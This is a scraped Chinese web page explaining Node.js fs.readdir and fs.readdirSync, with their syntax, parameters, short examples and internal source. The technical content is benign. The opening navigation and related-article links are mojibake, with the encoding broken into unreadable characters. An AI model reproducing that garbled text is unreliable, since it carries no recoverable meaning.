ä¸ä¸ç¯ï¼php å¯¼åºexcel ï¼htmlï¼

ä¸ä¸ç¯ï¼Windowsçæ¬Apache+phpçXhprofåºç¨ââ1

è½¬èå°æçå¾ä¹¦é¦

ç®è±(0)

åäº«å°å¾®ä¿¡

åäº«ï¼

ç±»ä¼¼æç«

æ´å¤

PHPä¹PHPæä»¶å¼ç¨è¯¦è§£

æ¯è¾require(),include(),require_once(...

php headerå½æ°ä½¿ç¨è¦ç¹

include å include_once æä»ä¹åå«ï¼r...

PHPä¸file_existsä¸is_file,is_dirçåºå«....

php å é¤ç®å½ä¸Nåéååå»ºçæææä»¶

çé¨æ¨å¹¿

çä½ åæ¬¢

æç¾éªæ¯æ¬£èµââä½ é£éä¸éªäºåï¼

æä¹¡ææ¯è¯è¡ï¼ç»æ¼æ³çæ¸¸å

åæçå°æ¹

ä¸çåå¤§ç¥ç§"é¬¼è¹"æä»ä¹ç¥ç§æäº

å¬å±åºç¡ç¥è¯é¢

èå¸å¸¸ç¨æå¦ç½ç«è´¦å·å¯ç å¤§éå

æ²¡ææ«æä»ªï¼æä¹åï¼ç¨ä»ä¹ä»£æ¿ï¼

åè¡¨è¯è®ºï¼

æ¨å¥½ï¼è¯· ç»å½ æè æ³¨å ååè¿è¡è¯è®º

å¶å®å¸å·ç»å½ï¼

ææ°æç«

æ·±å¥çè§£phpåºå±ï¼phpçå½å¨æ

éè¿virtualboxæå°åå®è£centos 6.3...

Ubuntuä¸ä½¿ç¨SVN

sourceséåï¼sources.list.wheezy.de...

nginx.conf éç½®lnmp

æ´å¤

çé¨æç«

æ²¡è§è¿ç§è±å·çåæ³å§&å«éè¿å¦ä¹ ç...

å°å¦è±è¯è¾å¯¼å¨å¥è§é¢æç¨ãçèçã

æ å®¶ å® è´ å¥³ å¿[5]

çæ±¤åçç®æä¹ååèåéï¼è½å½æ°çå¹

èèå èæ¡ ---- ä»¤äººå¹ä¸ºè§æ¢çç¥å¥

å¥³äººçè¦å¤ï¼åçéå¸¸å¥½ââ

å¤åªä¸åæ¼«ç»æç¤ºä¸ç¾åå¼ï¼å¾åæï¼

ç½éé²å§äºåç½è¯ç²æ²»ç§é¡¶è±åææç¥å¥

äººè¦é¿çï¼è è¦å¸¸æ¸

æ´å¤>>

å³é

node.js中的fs.readdir方法使用说明

方法说明：

以异步的方式读取文件目录。

语法：

代码如下:

fs.readdir(path, [callback(err,files)])

由于该方法属于fs模块，使用前需要引入fs模块（var fs= require(“fs”) ）

接收参数：

path 目录路径

callback 回调，传递两个参数 err 和 files，files是一个包含 “ 指定目录下所有文件名称的” 数组。

例子：

代码如下:

var fs = require('fs');

fs.readdir('readdirtest', function(err,files){

if(err){

console.log(err);

}

console.log(files);

})

源码：

代码如下:

fs.readdir = function(path, callback) {

callback = makeCallback(callback);

if (!nullCheck(path, callback)) return;

binding.readdir(pathModule._makeLong(path), callback);

};

node.js中的fs.readdirSync方法使用说明

方法说明：

同步版本的 fs.readdir() 。

方法将返回一个包含“指定目录下所有文件名称”的数组对象。

语法：

代码如下:

fs.readdirSync(path)

由于该方法属于fs模块，使用前需要引入fs模块（var fs= require(“fs”) ）

接收参数：

path 目录路径

例子：

代码如下:

var fs = require('fs');

var readDir = fs.readdirSync('readdirtest');

console.log(readDir);

源码:

代码如下:

fs.readdirSync = function(path) {

nullCheck(path);

return binding.readdir(pathModule._makeLong(path));

};

【layer源码keras】【周期购商城源码】【spring源码跳转方法】readdir源码

相关文章